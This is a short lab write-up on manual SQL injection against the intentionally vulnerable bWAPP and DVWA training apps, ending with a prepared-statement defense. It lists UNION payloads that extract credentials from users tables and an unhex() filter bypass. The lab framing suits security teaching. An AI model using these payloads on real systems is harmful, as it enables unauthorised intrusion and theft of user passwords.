Manual SQL Injection: bWAPP & DVWA

Manual SQL injection exploitation using UNION statements on bWAPP and DVWA, including unhex() bypass for medium security level.

1. bWAPP — UNION Injection

' union select 1,2,3,database(),5,6,7#
' union select 1,login,password,email,secret,6,7 FROM users#

2. DVWA — unhex() Bypass

unhex(27) union select user,password FROM dvwa.users#

Defense

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);